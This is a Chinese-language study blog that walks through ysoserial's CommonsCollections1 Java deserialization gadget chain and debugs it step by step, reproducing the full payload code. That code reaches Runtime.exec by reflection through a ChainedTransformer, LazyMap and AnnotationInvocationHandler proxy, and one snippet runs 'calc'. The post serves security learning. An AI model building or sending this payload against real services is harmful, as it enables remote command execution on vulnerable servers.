ysoserial之CommonsCollections1调试

# 利用链简述

  1. 任意方法执行
  2. 高版本 java 已修复(Java 8u71 以后)

# CommonsCollections1 利用代码

项目地址:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}

public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}

# 调试分析

ysoserialPOC 类中 getObject 方法一般是获取 payload 的方法

# 分析 paylaod 构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public InvocationHandler getObject(final String command) throws Exception {
// 传入的命令参数存储于execArgs数组中
final String[] execArgs = new String[] { command };
// 开始构造transformerChain,用于执行命令
// inert chain for setup
// 这一步据p神所言是为了隐藏日志中的进程日常信息, 加不加都会执行命令,只是异常信息不同
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
// 通过反射获得Runtime.exec(),并将命令参数execArgs传入
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1)
};
// 修饰innerMap,将构造的transformerChain传入
// 当LayMap#get被调用时,会执行传入的transformerChain
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

// 将lazyMap传入AnnotationInvocationHandler
// java代理sun.reflect.annotation.AnnotationInvocationHandler
// 获得代理对象时,会再传入一个handler(简称handler2),得到代理对象mapProxy,
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
// 将该代理对象包裹进入新的handler,简称handler1
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
// 最后将构造好的命令执行transformers传入transformerChain
// 最后放是为了防止在构造payload时弹出计算器
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
// 最后包装好的handler即为我们的payload
return handler;
}

# 知识点

需要理解的知识点主要有两部分:transform 和 proxy

想要深究的话可以去看详细解释,以下只记录此处用到的点

我看代理的时候是参考的这篇文章:https://xie.infoq.cn/article/9a9387805a496e1485dc8430f

# 先来看看 trasnform

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

ConstantTransformer

构造方法传入一个类

通过该类的 transform 方法获取一个对象类型,如 transform 参数是 Runtime.class 时,调用 ConstantTransformer 类的 transform 方法,执行后返回 java.lang.Runtime 类

InvokerTransformer

构造方法 InvokerTransformer (String methodName, Class [] paramTypes, Object [] args)

第一个参数为方法名,第二个参数为方法参数类型数组,第三个参数为方法参数数组

该类的 transform 通过反射执行函数

例如下面的代码,transform 传入 Runtime 对象,通过反射执行 exec 函数,传入命令为 calc

1
2
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());

transformerChain

transformers 的链,构造方法传入一个 transform 数组

串起来了很多 transformer

为什么是串起来的呢,见下图

其中前面一个 transform 输出的结果会作为参数传入后一个 transform

那么此处代码就可以很好的解释啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 通过反射获取Runtime,因为Class类实现了Serializable接口
// Method f = Runtime.class.getMethod("getRuntime");
// Runtime r = (Runtime) f.invoke(null);
// r.exec("C:\\WINDOWS\\system32\\calc.exe"
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
// 返回java.lang.Runtime类
new ConstantTransformer(Runtime.class),
//传入上面transform得到的Runtime类(Class对象),调用getMethod方法,传入调用getMethod方法方法参数为getRuntime;也就是获取该类的getRuntime方法
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
// 传入上面transform得到的getRuntime方法(Method对象),调用invoke方法,传入invoke方法的参数为Object[],其实就是按照参数列表传就好了,因为此处只需要调用invoke方法获得Runtime对象
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
// 传入上面transform得到的Runtime对象,调用exec方法,传入该方法的参数为execArgs
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

# 最后康康 proxy

为什么会利用到对象代理呢?

当然是因为代理的一些些特性辣

每个代理类有一个公共构造一个参数,该接口的实现 InvocationHandler ,设置调用处理程序的代理实例

康康构造方法,会传入一个 InvocationHandler 对象

并且在调用该代理对象任意方法时,会调用 InvocationHandler#invoke ()

但是该方法是 protected 的,很明显我们需要实例化一个代理对象时需要找到另一个可以返回实例的方法

那就是 newProxyInstance 方法啦

来测试试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import ysoserial.payloads.util.Gadgets;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Map;

/**
* My Test Class
*/
public class MTest {
public static void main(String[] args) {
TestInvocationHandler handler = new TestInvocationHandler();
Map testProxy = (Map) Proxy.newProxyInstance(Gadgets.class.getClassLoader(), new Class[]{Map.class}, handler);
testProxy.put("key","value");
}
}

class TestInvocationHandler implements InvocationHandler {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("method: " + method.toString());
return null;
}
}

debug 代码,可以看见当调用 Map#put 时,会进入 TestInvocationHandler#invoke

没戳 proxy 利用到的点就这一个啦

# 调试

比较绕的地方调试一波

进入该函数,发现有两处函数计算

进入 createMemoizedInvocationHandler(map)

其中 ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"

可以看出此处是通过反射获取 AnnotationInvocationHandler 对象,且获取对象时传入了构造的 LazyMap

进入 createProxy(handler,iface,ifaces)

对传入的 iface 进行代理,并传入上一步获得的 AnnotationInvocationHandler 对象 handler2

iface 为传入的 Map.class (CommonsCollections1.java 中: mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

两次函数执行完毕后,返回 CommonsCollections1

返回代理对象 mapProxy(调用该对象任意方法,都会先调用传入的 handler#invoke)

73 行代码将获取到的 mapProxy 进行包裹是因为:

​ 由于反序列化入口为 readObject,所以我们需要某个类的 readObject 中会调用传入 map 的任意方法

​ AnnotationInvocationHandler#readObject 中有调用 map.entrySet ()

​ 从而触发 AnnotationInvocationHandler#invoke

最后返回层层构造好的,还没有序列化的,payload 啦

# payload 触发分析

以下是 POC 中给出的触发链,可以根据 Gadget 下断点(这样比较清晰感觉)

根据上面 payload 构造的学习,我们可以更好的理解该利用链的触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

首先从 PayloadRunner38 行进入反序列化

其中 serialized 是我们序列化后的 payload

进入 ObjectInputStream#readObject

在 AnnotationInvocationHandler#readObject 处下断点,查看调用栈

观察到在 ObjectInputStream 中通过反射调用了 AnnotationInvocationHandler#readObject

进入 AnnotationInvocationHandler#readObject

此处 memberValues 为我们传入的代理对象 proxyMap

调用其任意方法,就会进入 AnnotationInvocationHandler#invoke

这里要进入函数一直点点点,其中会多次返回该行

直到再次进入 AnnotationInvocationHandler#readObject,运行至 355 行进入函数,会跳转至 AnnotationInvocationHandler#invoke

查看当前函数调用栈

handler1 的 readObject -> 代理对象的 entrySet -> handler2 的 invoke

构造 handler2 时,传入的 Map 对象就是我们构造好的 LazyMap

此时只要有调用 LazyMap#get,就会执行 transform

查看当前变量,this.memberValues 就是 LazyMap 对象

往下滑滑滑滑滑

在 78 行找到 this.memberValues.get(var4)

调试进入 LazyMap#get,其中当获取的 key 不存在时,会进入 if 代码块调用我们构造好的 transform

查看变量,执行的 transform 就是我们构造好的,会通过反射获取函数执行命令

查看函数调用栈,和分析中相同

调到这里就完成触发啦:happy:

⭐碰见了很多奇奇怪怪的问题,比如根本不会跳进 LazyMap#get 中 if 中的代码块,或者还没到这就已经弹窗了,或者细调时根本不会弹窗… 困扰了我很久😪

但是正常运行是没有问题的,所以我取消了所有除此之外的断点,查看函数调用栈和变量都 OK 了

所以感觉应该是 debug 在实现自身功能时有影响到正常代码的触发,这里说明一下啦

# 哔哔哔口水总结

看 p 神的文章,一点一点仔细看了一遍

然后脑袋瓜子就糊了

然后就从 URLDNS 开始再看一遍

然后发现哇塞

URLDNS 真的好简单耶

怎么会有人看不懂这么简单的原理呀不会把不会吧

然后看 cc1,把 payload 原理又看了一遍,什么 transform 也太简单了把,不就是这样吗,这有什么难度吗???

然后看触发原理调试的时候就是这样了 (beiwei)

由其是还碰见了调试上的问题

左左右右调试了一两个星期把

一直想把整个过程简洁优雅的总结出来,所以不断地总结总结,画图记笔记…

因为能简单的把问题解释清楚才能证明自己是真的理解了(不然就和第一遍看 p 大文章的情况一样了)

然后调完了理解了总结了记笔记了,我又行了

这也太简单了吧

不会吧不会吧会难道还有人看不懂 cc1 吗

以上作死的行为只是想提醒自己,很多很难的知识点一定要自己动手去试,多总结,一定要写文章记录下来(年纪大了真的会忘的),细节不要放过,一点一点抠

我真的不是小天才,我只是个小神仙罢了,唉

下图是在理解触发原理时自己写的一个大概的流程(尽量简洁但是不是很简洁)

看不看得懂就看缘分了😴

Copyright ©milkii0